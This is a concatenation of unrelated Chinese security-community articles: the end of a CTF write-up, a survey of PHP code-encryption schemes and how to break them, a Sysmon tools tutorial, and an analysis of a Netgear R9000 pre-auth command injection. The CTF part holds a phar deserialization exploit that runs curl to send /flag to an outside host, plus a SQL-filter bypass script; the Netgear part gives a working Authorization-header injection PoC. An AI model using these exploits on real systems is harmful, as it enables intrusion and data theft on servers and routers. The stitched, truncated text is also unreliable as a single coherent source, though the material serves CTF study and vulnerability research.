$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("curl http://vps/ -d '`tac /flag`';");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
### sql_manage
首先在源码的配置文件中找到mysql的用户名和密码
查看可写目录
构造phar文件，使用正则回溯绕过限制写文件
if(preg_match('/sleep|BENCHMARK|processlist|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
die('Go out!!!');
}
#coding=utf-8
import requests
url = "http://47.91.213.248:8001/query"
a = 'a'*1000000
data = {
"query": "select 0x123456 into/*{}*/dumpfile '/tmp/smi1e123.phar';".format(a),
"code": "nuk9"
}
cookie = {
"PHPSESSID":"ik01ngjcquttltalvf7vk6aqap"
}
print(requests.post(url=url,data=data,cookies=cookie).text)
`load_file`一下可以看到写入成功
使用这个项目<https://github.com/Gifts/Rogue-MySql-Server> 把文件名改为phar格式
host改为`Rogue-MySql-Server`地址，用户名密码随意。
服务端nc，然后执行任意sql语句触发phar反序列化即可收到flag。
### 后记
由于撞车ByteCTF和TMCTF，并没有很多师傅在刚这道题orz。出题时也踩了不少坑，emmm虽然这个题目出的很烂但是还是想说出题不易，希望师傅们认真对待。 | 社区文章 |
# PHP代码加密面面观
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
时代在发展，在PHP平台上开发的开发者越来越多。“天下熙熙，皆为利来；天下攘攘，皆为利往”，许多开发者使用PHP开发他们的商业产品，并将其进行二次分发。可惜由于PHP的机制受限，开发者们只能分发源代码，这对他们的版权保护极为不利，导致PHP界涌现出了不少加密产品。笔者最近想了想，在这里对这些加密产品进行逐项介绍，以飨各位读者。
如果你没有任何技术背景，笔者推荐你直接拉到本文最后来挑选一款适合你的加密。
## 壳”加密”
这一类“加密”包括：
1. 无扩展加密：phpjiami、zhaoyuanma的免费版本等
2. 有扩展的加密：`php-beast`、`php_screw`、`screw_plus`、`ZoeeyGuard`、`tonyenc`等市面上几乎所有的开源PHP加密扩展。
把它们称为“加密”算是抬举，它们真的真的只能被称为“自解压压缩包”，像是PHP界的WinRAR，或者是UPX、ASPack。笔者写到这里时暂时停顿了一下，笔者认为把这种“加密”和UPX这些壳相提并论是对UPX的侮辱。因为
**任何一个较为熟悉PHP的人，都可以在一天之内写出这种级别的加密，而不需要任何额外的知识。**
这一类自解压压缩包的共同思路是：
1. 加密：直接加密整个PHP文件，不对原始PHP逻辑作出改动。无扩展的加密将给用户一个运行时环境（“壳”）和加密后的数据，有扩展的加密将直接获得加密后的数据，并要求用户在使用时安装对应的扩展。
2. 解密：壳或扩展先确认环境有没有被调试的风险，倘若没有，就直接在内存中解密出整个PHP文件，并使用`eval`或类似方式直接运行。
以下是笔者写的一个简化的代码示例：
<?php
$code = file_get_contents('待加密的PHP');
$code = base64_encode(openssl_encrypt($code, 'aes-128-cbc', '密钥', false, 'IV'));
echo "<?php eval(openssl_decrypt(base64_decode($code), 'aes-128-cbc', '密钥', false, 'IV'));";
相信读到这里的各位都能意识到，对这一类“壳加密”来说，是有万能的“解密”方案的。不需要知道数据的加密算法到底是什么，因为真实代码在执行时总会被解密出来，各位只需要知道PHP到底执行了什么，从这儿拿出代码。
不管是`eval`、`assert`、`preg_replace('//e')`，还是这类PHP加密扩展，想要动态执行代码就必须经过`zend_compile_string`这一个函数。只需要编写一个dll/so，给`zend_compile_string`挂上“钩子”，就能直接拿到完整的代码。笔者觉得详细讲这种加密是浪费本文空间，给出几篇文章作为参考：
<https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html>
<http://blog.evalbug.com/2017/09/21/phpdecode_01/>
也有一些网站可以在线解密，例如国外的UnPHP：<https://www.unphp.net/>
而如果你不会C，或者不想从PHP底层来破解，也有不少的伸手党策略，像是这篇针对`phpjiami` / `zym`的破解方案
<https://www.52pojie.cn/thread-693641-1-1.html>，可从中了解这些壳的基本运行方式。
有扩展加密中，`php_screw`因加密方式太弱，容易被已知明文攻击（举例：大部分PHP文件的开头均为`<?php`）推测出密钥。其他的加密就都需要手动逆向，过于麻烦，直接使用通用方案来反而是更简单的破解方式。
另外，还有一部分加密提供了一些附加功能。例如phpjiami提供的防SQL注入和访问控制功能。
如果真的相信SQL注入能靠这些“加密”来防御，那也未免too young too simple。这些防SQL注入 **没有任何用处**
，通过关键字过滤反而容易 **拦截正常的用户输入**
。相信它们，还不如在网站前面加一层360网站卫士、百度云加速。正确的防SQL注入的方式应当是在用户输入处使用`mysqli_real_escape_string`，或者使用PDO的预处理查询，或者使用各类ORM框架。
## 混淆加密
这一类加密才刚刚上了加密的道。
在国内用的最多的是[EnPHP](http://enphp.djunny.com/)，开源的有[php-obfusactor](https://github.com/naneau/php-obfuscator)。当然，还有一种更强大的开源加密[yakpro-po](https://github.com/pk-fr/yakpro-po)，笔者猜测，微擎的混淆算法就是基于这个来修改的。它们的基本原理是：
1. 移除代码内的变量，将其替换为乱码或`l1O0`组合成的变量名。因为只改变变量名，大部分情况下并不会对代码的逻辑产生影响。
2. 对PHP代码本身的明文字符串，像是变量名、函数名这些进行替换。
3. 一定程度上改变代码原始逻辑。
这一类加密的开发门槛就相对高些了，需要熟悉对于抽象语法树（AST）的操作。
代码混淆对于一般的防破解来说强度是足够的，Google 在 Android 上即默认提供了 ProGuard
这一明文符号混淆工具，在PHP上同样，如果变量名、函数名等被混淆，确实可以增加破解难度，对应的工具是`php-obfusactor`。不过，这对一般的逆向造不成什么影响，批量替换变量名就可以解决了。`EnPHP`和`yakpro-po`相对会麻烦一些。
`EnPHP`的特征是，将所有的函数名都提取到一个常量池，在一定程度上修改了变量名，不过不改变代码逻辑。
这种加密实现难度不高，只要熟悉对`php-parser`的操作即可写出来。笔者随手花了十分钟写了一个，分享给大家：
<?php
use PhpParser\Lexer;
use PhpParser\Node;
use PhpParser\Node\Expr;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitor\NameResolver;
use PhpParser\NodeVisitor\Abstract;
use PhpParser\Parser;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter\Standard;
require './vendor/autoload.php';
class ObfuscateCode extends NodeVisitorAbstract
{
public $mode = 0;
private $_parser = null
private $_variableName = '';
private $_strings = [];
private $_stringShuffledKeys = [];
private $_ast;
public function __construct($parser, $variableName)
{
$this->_parser = $parser;
$this->_variableName = $variableName;
}
public static function initialize()
{
$parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7);
$variableName = 'O0O0OO00';
return new ObfuscateCode($parser, $variableName);
}
public function obfuscate(string $code)
{
$this->getFunctionNames($code);
$this->shuffleStringKeys();
$this->getObfuscatedAST($this->_ast);
$keys = [];
foreach ($this->_strings as $key => $value) {
$keys[$value] = $key;
}
$prettyPrinter = new Standard();
$text = $prettyPrinter->prettyPrint($this->_ast);
$text = '$' . $this->_variableName . '=' . var_export($keys, true) . ';' . $text;
return $text;
}
public function enterNode(Node $node)
{
return $node;
}
public function leaveNode(Node $node)
{
if ($node instanceof NodeExprFuncCall || $node instanceof NodeExprMethodCall) {
if ($node->name instanceof NodeName) {
if ($this->mode === 0) {
$name = $node->name->toString();
if (!isset($this->_strings[$name])) {
$this->_strings[$name] = 1;
}
} else if ($this->mode === 1) {
$name = $node->name->toString();
if (isset($this->_strings[$name])) {
$node->name = new ExprArrayDimFetch(
new ExprVariable($this->_variableName),
NodeScalarLNumber::fromString($this->_strings[$name])
);
}
}
}
}
if ($node instanceof NodeScalarString_) {
if ($this->mode === 0) {
$name = $node->value;
if (!isset($this->_strings[$name]) && strlen($name) > 1) {
$this->_strings[$name] = 1;
}
} else if ($this->mode === 1) {
$name = $node->value;
if (isset($this->_strings[$name])) {
return new ExprArrayDimFetch(
new ExprVariable($this->_variableName),
NodeScalarLNumber::fromString($this->_strings[$name])
);
}
}
}
return $node;
}
private function getFunctionNames(string $code)
{
$traverser = new NodeTraverser();
$this->_ast = $this->_parser->parse('<?php ' . $code);
$traverser->addVisitor(new NameResolver());
$traverser->addVisitor($this);
$traverser->traverse($this->_ast);
return $this->_strings;
}
private function shuffleStringKeys()
{
$this->_stringShuffledKeys = array_keys($this->_strings);
shuffle($this->_stringShuffledKeys);
foreach ($this->_stringShuffledKeys as $key => $value) {
$this->_strings[$value] = $key;
}
}
private function getObfuscatedAST($ast)
{
$this->mode = 1;
$traverser = new NodeTraverser();
$traverser->addVisitor(new NameResolver());
$traverser->addVisitor($this);
$this->_ast = $traverser->traverse($ast);
}
}
$a = ObfuscateCode::initialize();
echo $a->obfuscate('var_dump(base64_encode("123456"));echo "test";');
至于破解，反向操作即可。分享一个52pojie上的破解教程和一键破解脚本：<https://www.52pojie.cn/thread-883976-1-1.html>
`yakpro-po`的特征是大量的goto混淆，如图所示。
这种混淆器的特点如下：
1. 正常语句，将被混淆成`labelxxx: one_line; goto nextlabel;`。直接将这三条语句视为一个混淆节点即可。
2. if / if else / if elseif else，处理差别不大，直接还原即可。
3. 嵌套型 if 相对比较麻烦，因为没有嵌套 if 的概念，一切 if 均在最外层。简单的处理方案是，如果跳到的节点有 if 语法，重新递归解析这个节点。
关于该混淆器网络上没有开源的解混淆方案，因此笔者也贴不出链接。只是笔者认为对于混淆类加密，万变不离其宗，基本上只需要通过简单的AST操作即可还原其原始代码（变量名可能被破坏）。不过出于防君子不防小人的目的，这一类加密已经足够日常使用。
## 无扩展虚拟机加密
目前市面上无扩展的虚拟机加密只有两款，且收费均不菲：
1. Discuz应用中心开发的魔方加密：<https://www.mfenc.com>
2. Z-Blog团队开发的Z5加密：<https://z5encrypt.com>
这两款加密的共同特点是：它们都实现了一个PHP语言的编译器，将PHP转换为它们的内部代码；用户将收到一个解释器，解释器的作用是根据内部代码来执行对应的指令。这就像写C语言一样，编译器负责把C语言写的代码转换为机器码，这种机器码CPU可以直接执行。
这种加密方式，在Windows /
Linux上已经很成熟了，代表作品是VMProtect。这种运行方式已经在理论上证明了反编译出源码是不可能的，相对来说也是无扩展加密中最安全的。安全的同时也需要付出一定的代价，它们的运行效率也是最低的。
尽管如此，它们也不是百分百安全。虽然不能反编译出源码，但是可以根据它们的执行逻辑转写出功能类似的代码。魔方加密仅有一层虚拟机，缺少调试对抗策略，导致现在已经有了比较成熟的一键反编译方案：
魔方一代加密破解：<https://www.52pojie.cn/thread-695189-1-1.html>
魔方二代加密破解：<https://www.52pojie.cn/thread-770762-1-1.html>
Z5加密的作者似乎在这之上改进了不少，笔者登陆其官网，发现其有如下功能：
1. 增加垃圾代码、扁平化控制流、指令膨胀。
2. 明文字符串加密、常量池。
3. 虚拟机共享、反调试。
Z5加密的破解极为麻烦，笔者对PHP引擎进行了大量修改，包括`zend_compile_string`、`zend_execute`、`microtime`、`php_sapi_name`等一系列函数，花了几天时间才勉强读懂这款加密的执行逻辑。其官网声称让“破解的成本要远高于购买您的程序的成本”，笔者还是比较认同的。
## 近似加密
这其实不属于加密，而是利用PHP自身功能来达到类似加密的效果。PHP在5.5之后自带OPcache，而5.5之前有Zend
Optimizer。而已经停止开发的`Zend Guard`、老版本`ionCube`和部分配置下的`Swoole
Compiler`，即是基于这一些系统功能进行加密。
PHP通常在Zend引擎上运行，Zend引擎会先将PHP编译为OPcode，OPcache的原理就是缓存了这些OPcode避免下一次运行时仍然产生编译开销。当然，OPcache也是人类不可直接读的。按照PHP官网所说：
> OPcache 通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能， 存储预编译字节码的好处就是 省去了每次加载和解析 PHP
> 脚本的开销。
>
> PHP 5.5.0 及后续版本中已经绑定了 OPcache 扩展。 对于 PHP 5.2，5.3 和 5.4 版本可以使用 [»
> PECL](https://pecl.php.net/package/ZendOpcache) 扩展中的 OPcache 库。
Zend Guard和部分情况下的Swoole Compiler的原理与之相同，即直接将OPcode塞入Zend引擎。
Zend Guard已经被Dezend等工具解密，开源解密工具见：<https://github.com/Tools2/Zend-Decoder>
对于PHP
5.5+的OPcache的读取和解析，可以参考这一篇文章的后半部分：[https://blog.zsxsoft.com/post/36。他使用VLD扩展来解析OPcache。](https://blog.zsxsoft.com/post/36)
## 扩展加密
笔者这里所说的扩展不是`php-beast`、`php_screw`这一类扩展，前文已经指出，它们根本不配被称之为“加密”。笔者认为，`Swoole
Compiler`、`SG11`、高版本`ionCube`这一类扩展才配被称之为加密。
Swoole Compiler团队的郭新华曾经分享了Swoole
Compile的加密过程，可以搜索得到他们的PPT：<https://myslide.cn/slides/9137?vertical=1>。截至目前，似乎没有公开的Swoole
Compiler的破解网站。笔者没有Swoole Compiler的样本，如果他们真的如PPT所述实现，那么可以说这是最强的有扩展加密。
根据PPT所述，他们的加密过程包括：
1. 剔除注释、混淆局部变量。
2. 编译优化、内联函数和指令、花指令。
3. 增加垃圾代码、扁平化控制流。
4. 明文字符串加密。
5. 基于LLVM编译成LLVM Bytecode。
分发给用户的扩展还包括：
1. 内置函数名替换（参考zhaoyuanma的破解：<https://www.zhaoyuanma.com/article/48.html>）。
2. OPCode混淆，仅保留Handler。
3. 反调试、防篡改、加壳。
SG11目前没有公开资料，解密的市场价大约200-300元/文件，笔者目前也没有SG11加密过的样本，只能简单分析SG11
Loader。笔者猜测可以从`zend_execute`内直接拿出所有的Bytecode来跳过OPCode解密流程。
之后找到每个OPCode执行的Handler，在这个Handler里应该包括二次解密的流程，再往下笔者就不再探究了。
## 文末
就目前而言，这些加密拥有足够的强度，值得推荐：
[php-obfusactor](https://github.com/naneau/php-obfuscator)
：开源免费，混淆型免扩展加密，较类似Android上的ProGuard。
[yakpro-po](https://github.com/pk-fr/yakpro-po)：开源免费，混淆型免扩展加密，打乱了程序的运行流程。
[Z5加密](https://z5encrypt.com)：商业，虚拟机型免扩展加密，Z-Blog团队出品。
[Swoole Compiler](https://www.swoole-cloud.com/compiler.html)：商业，有扩展加密，Swoole官方出品。 | 社区文章 |
# 三款超实用的Sysmon辅助分析工具你知道吗
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/-qjVKnDYnvEj7poEG2fkaw>
译文仅供参考，具体内容表达以及含义原文为准。
做过应急响应的朋友，对Sysmon应该都比较熟悉了，它是一款强大的轻量级监控工具，由Windows Sysinternals出品的，Windows
Sysinternals出品的一系列工具集中，有很多强大的工具，有兴趣的可以下载这款工具进行研究学习，如果对这款工具还不熟悉的，可以参考之前发的一篇文章：【工具】微软sysmon使用总结，也可以去官网下载使用手册学习
Sysmon用来监视和记录系统活动，并记录到windows事件日志，可以提供相关进程创建、网络连接和文件创建更改时间等详细信息，这篇文章给大家介绍三个非常实用的Sysmon辅助分析工具，这三款工具如下所示：
Sysmon View：Sysmon日志可视化工具
Sysmon Shell：Sysmon配置文件生成工具
Sysmon Box：Sysmon和网络捕获日志记录工具
Sysmon View
Sysmon
View通过使用现有事件数据(例如可执行文件名称、会话GUID、事件创建时间等)对各种Sysmon事件进行逻辑分组和关联来帮助跟踪和可视化Sysmon日志，然后该工具重新排列此数据以供显示进多个视图
使用方法
首先，使用内置的WEVTUtil工具将Sysmon事件导出到XML文件，使用命令如下所示：
WEVTUtil query-events “Microsoft-Windows-Sysmon/Operational” /format:xml
/e:sysmonview > eventlog.xml
导出后，运行Sysmon View并导入生成的eventlog.xml文件
(注意：文件只需要导入一次，后续运行Sysmon View不需要再次导入数据文件，只需要使用菜单File->Load existing
data再次加载以前导入的数据即可)
所以的数据文件导入名为SysmonViewDB的SQLite数据库文件，该文件与Sysmon
View可执行文件在同一个目录位置，可以与其他人共享此文件，只需将文件放到Sysmon View同目录位置并使用菜单File->Load existing
data导入数据库文件即可
每次导入新的xml文件时，都会删除原来生成的数据库文件，并创建新的数据库文件，要保留以前导入的数据，可以将生成的数据库文件复制到其他位置或重命名为其他名字，以副本的形式保存
生成的数据库文件可以使用SQLite管理软件直接查询数据库文件数据，无需使用Sysmon View
Sysmon View工具包含四个视图菜单选项：Process View、Map View、All Events
View，Hierarchy、下面我们来分别介绍这四个视图的作用
Process View
此视图只是帮助关注“运行会话”的摘要，例如，分析人员可以从可执行文件名（例如cmd.exe）或事件类型（例如网络事件）开始，从那里进一步过滤即可例如，应用于查找源自相同二进制文件但来自不同位置的运行会话。此视图利用进程GUID过滤每个会话“运行”的事件，选择任何正在运行的会话（来自GUID列表）将在简单的数据流视图中显示所有其他相关（相关）事件，使用时间排序事件。
只需双击视图中的任何事件即可访问Sysmon事件详细信息，例如，显示Process Creation事件的详细信息(事件ID 1)，显示，如下所示：
Map View
在事件导入过程中，有一个地理定位IP地址的选项，如果设置，Sysmon View将尝试使用<https://ipstack.com/service>
对网络目标进行地理定位，如下所示：
ipstack.com可对目标IP地址进行地理定位，地图视图中，通过使用网络事件作为起点，可以轻松地在相关（相关）事件之间导航，同样，该工具可以使用正在运行的进程会话GUID来实现此目的。要浏览相关事件，请使用会话GUID的超链接，类似于流程视图的新视图将显示在包含所有相关会话事件的新窗口中，如下所示：
All Events View
用于对所有Sysmon收集的事件数据进行完整搜索，还有助于查看与其他事件无关的事件，例如“已加载驱动程序”事件类型。除了事件详细信息之外，通过单击FID链接，仍然使用进程GUID提供相关事件之间的导航，如下所示：
此外，所有事件视图支持按机器名称，事件类型或GUID的事件的类似枢轴（分组）排列，如下所示：
多个分组级别也是可能的，如下所示：
Hierarchy
显示进程父子层次级别关系，并标注进程是否已结束，如下所示：
实例讲解
1.先安装Sysmon工具，具体的使用方法，可以参考Sysmon使用手册，网站链接：
<https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
使用默认设置安装，如下所示：
2.使用WEVTUtil生成Sysmon的XML文件，如下所示：
3.使用Sysmon View打开生成的eventlog.xml文件，如下所示：
XML文件分析完成，如下所示：
4.然后就可以开始分析了，查看进程信息，如下所示：
后面的就按上面的方法进行分析就可以了
Sysmon Shell
很多人不会写Sysmon的配置文件，这款工具可以通过简单的GUI界面帮助编写和应用Sysmon
XML配置，对很多人来说，应该是非常方便的一个工具，如下所示：
除了导出Sysmon事件日志外，Sysmon Shell还可以用于探索Sysmon可用的各种配置选项，轻松应用和更新XML配置，简而言之：
1)Sysmon Shell可以加载Sysmon
XML配置文件：当前版本支持所有Sysmon架构。（该工具不直接从注册表加载任何配置，仅从XML文件加载）。
2)可以将最终的XML导出/保存到文件中。
3)可以通过Sysmon.exe -c
command直接调用（在安装Sysmon的同一文件夹中创建临时XML文件）来应用生成的XML配置文件，因此，如果使用此功能，Sysmon
Shell将需要提升的权限（需要继承此权限）从Sysmon进程本身），应用配置的输出将显示在预览平台中（这是Sysmon生成的输出）
4)可以在保存在预览窗格中之前预览XML配置
5)最后一个选项卡（标记为“Logs Export”）可能会很方便地将Sysmon事件日志快速导出到XML，以后可以使用“Sysmon
View”进行事件分析，导出有三个选项：
*仅出口
*导出并清除Sysmon事件日志
*导出，备份evtx文件并清除事件日志
该实用程序具有从Sysmon Sysinternals主页
([https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)获取的所有事件类型的说明](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon\)%E8%8E%B7%E5%8F%96%E7%9A%84%E6%89%80%E6%9C%89%E4%BA%8B%E4%BB%B6%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%AF%B4%E6%98%8E)
Sysmon Shell 捆绑了许多由其他安全专业人员创建的Sysmon配置模板，如下所示：
可以看到这款工具非常强大，里面有各种配置可以选择，实例讲解，我这边以进程创建为例，如下所示：
导出Sysmon的配置文件，如下所示：
Sysmon Box
是一款小实用程序，可以帮助构建捕获Sysmon和网络流量的数据库
要运行Sysmon Box，请使用以下命令(Sysmon需要启动并与tshark一起运行)：
SysmonBox -in Wi-Fi
然后该工具将执行以下操作：
1)开始捕获流量(在后台使用tshark，这就是你必须指定捕获接口的原因)，完成后点击CTRL + C结束会话
2)然后，Sysmon Box将停止流量捕获，将所有捕获的数据包转储到文件，并使用EVT实用程序导出在会话的开始和结束时间之间记录的Sysmon日志
3)使用来自Sysmon的导入日志和捕获的流量构建Sysmon
View数据库(备份现有)文件，您所要做的就是从同一文件夹运行Sysmon视图或将数据库文件(SysmonViewDB)放在与Sysmon
View相同的文件夹中(保持数据包捕获在同一位置)
三款工具的下载地址：[https://github.com/nshalabi/SysmonTools，](https://github.com/nshalabi/SysmonTools%EF%BC%8C)
通过这三款辅助分析工具可以非常直观的查看sysmon的监控信息，对应急响应人员来说真的是太方便了，这三款工具功能还有很多，可以下载工具之后自行研究学习
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/-qjVKnDYnvEj7poEG2fkaw) | 社区文章 |
## 概述
Netgear
R9000设备2019年爆出认证绕过漏洞[CVE-2019-20760](https://nvd.nist.gov/vuln/detail/CVE-2019-20760)，题目之所以说这个漏洞远被低估，主要以下两个原因：
* 实际漏洞危害较大，公开信息仅显示该漏洞为一个 **认证绕过漏洞** ，没有具体漏洞信息或者`POC`，但是经过分析，发现该漏洞其实是一个 **认证前的注入漏洞** ，攻击者只需要知道设备ip便可以获取设备的 **最高控制权** ；
* 影响范围广，另外在测试中发现`R7800`的`1.0.2.62`版本；`R7500`的`1.0.3.46`版本等也受此漏洞影响，简单推测影响范围应该还有其它多款系列型号；
* 影响数量大，据[fofa](https://fofa.org)检索，暴露在公网的设备中`R9000`数量大概有`5000`台,`R7800`大概有`15000`台，而且还不算其它可能受影响的型号数量，而且由于官方信息只是说明为认证绕过漏洞，猜测也并没有引起广泛注意而更新固件。
由于该漏洞公告只有大概信息，下文记录针对`R9000`型号的该漏洞分析定位调试的过程。
## 漏洞点分析
根据[漏洞公告信息](https://nvd.nist.gov/vuln/detail/CVE-2019-20760)，Netgear
R9000设备`1.0.4.26`版本前存在认证绕过漏洞，但是并没有详细说明漏洞点位置，尝试根据公告信息结合二进制比对查找漏洞点。
### 固件下载及解析
通过以下地址可以下载存在漏洞版本固件以及修复版本固件
[漏洞版本固件下载链接](https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip)
[修复版本固件下载链接](https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip)
两固件均通过`binwalk`可常规解压获得文件系统
### 查找web处理程序
通过查找`Referer`字符串来确定一下`web`处理程序
$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/sbin/wget matches
Binary file usr/sbin/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches
通过命名即可判断`web`处理的二进制应该是`uhttpd`
### 二进制比对
使用[`diaphora`](https://github.com/joxeankoret/diaphora)来进行二进制比对操作。
`diaphora`使用非常简单，首先使用`IDA`打开漏洞版本`1.04.26`版本文件系统中的`uhttpd`，选择`File--Script
file...--diaphora.py`,在弹出框中点击`OK`,然后再使用`IDA`打开修复版本`1.04.28`版本文件系统中的`uhttpd`，同样方法打开`diaphora`，在弹出框中的`SQLite
database to diff
against`中选择`1.04.26`版本的`uhttpd`生成的`sqlite`文件，再点击`OK`即可开始比对，稍等片刻，便会出现比对结果。
可以查看`Partial
matches`,其中`login_type`函数进入后除了命名没有太多改变，所以主要查看`uh_cgi_auth_check`,选中这个函数后点击右键——`Diff
Pseudo-code`,可以在反编译代码的层面上查看差异点，左边是修复版本，右边是漏洞版本：
可以看出修复版本使用了`dni_system`，而漏洞版本`snprintf`后直接传入`system`执行，猜测漏洞点位于此处。
尝试使用`IDA`打开漏洞版本的`uhttpd`的`uh_cgi_auth_check`函数：
直观审计起来不是很好看，包括函数的参数是什么也都不太清楚，这里采用一个比较懒的方法，我尝试找到了对应的源码：
[源码下载地址](https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.5.24.zip)
源码对应位置并没有相应的`system`函数，猜测是官方故意做了一些隐藏，但是可以借由源码恢复出来很多结构信息。
具体操作可以参考[cve-2018-5767 Tenda AC15
栈溢出漏洞调试](https://xz.aliyun.com/t/7357)比较简单，这里不再赘述。
### 定位漏洞点
在漏洞版本中，恢复完符号表以后可以清楚的看出，数据包头中的`Authorization`中`Basic`后数据经过`base64`解码后，其中`:`后边的`password`参数会被传入`snprintf`，然后调用`system`来执行，造成漏洞。
前文已经说明，在修复版本中，没有直接调用`system`,换成了`dni_system`，查看一下`dni_system`;
可以看出，`dni_system`采用了`execve`来执行命令，只有参数可控，是无法做到`RCE`之类的危害的。
## 漏洞复现
### web模拟
查看`etc/init.d/uhttpd`
cat ./etc/init.d/uhttpd
......
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
.....
可以看到启动`uhttpd`使用了`/www/cgi-bin/uhttpd.sh`这个脚本
查看这个脚本：
╰─$ cat ./www/cgi-bin/uhttpd.sh
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
其中`-C /etc/uhttpd.crt -K /etc/uhttpd.key
-s`我们都可以省略掉，忽略`https`即可，`REALM`参数可以直接获得：
$ cat ./module_name 130 ↵
R9000
然后即可获得`uhttpd`的启动命令：
/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
使用`file`查看指令架构：
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
使用`qemu-system`打开`armhf`虚拟机，此步骤在[IOT环境搭建–如何使用qemu运行各种指令架构程序](https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/)中有详细步骤，此处不再赘述
将文件系统拷贝进`armhf`虚拟机中，运行以下命令：
chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
没有报错，查看端口情况：
$ netstat -antp | grep uhttpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2425/uhttpd
tcp6 0 0 :::80 :::* LISTEN 2425/uhttpd
可以看到80端口已经启动起来了，模拟成功
### 构造攻击数据包
在浏览器中访问`http://<device_ip>/cgi-bin/`,可以弹出登录框：
使用admin@admin账户登陆抓包如下：
GET /cgi-bin/ HTTP/1.1
Host: <your ip>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
尝试构造`POC`,
$ echo 'admin:`touch /abcd`' | base64
YWRtaW46YHRvdWNoIC9hYmNkYAo=
构造数据包
GET /cgi-bin/ HTTP/1.1
Host: <Your IP>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
发送数据包后查看文件系统
root@debian-armhf:~/squashfs-root# ls
abcd bin cloud_version default_language_version dev etc firmware_region firmware_time firmware_version hardware_version home hw_id iQoS lib mnt module_name overlay proc rom root sbin sys tmp usr var www
可以发现`abcd`这个文件已经被创建，攻击成功。
## 总结
本漏洞`NVD`的评分是`8.8`,然而对于这种认证前的RCE漏洞，个人认为评分是低了，知道设备的`ip`信息，便可以获取该设备最高控制权，该漏洞危害性还是比较大的。而且在测试中，发现该漏洞影响的设备型号也并不止`R9000`这一款。
`IoT`漏洞分析中，认证流程分析是必不可少的一环，直接在认证过程中就将用户输入没有做任何校验直接传入`system`，漏洞还是很明显也比较简单。
另外，通过二进制比对方法来找1day漏洞，也是一种比较简洁取巧的方法。
**参考：**
[1] [CVE-2019-20760](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20760)
[2] [cve-2018-5767 Tenda AC15 栈溢出漏洞调试](https://xz.aliyun.com/t/7357)
[3]
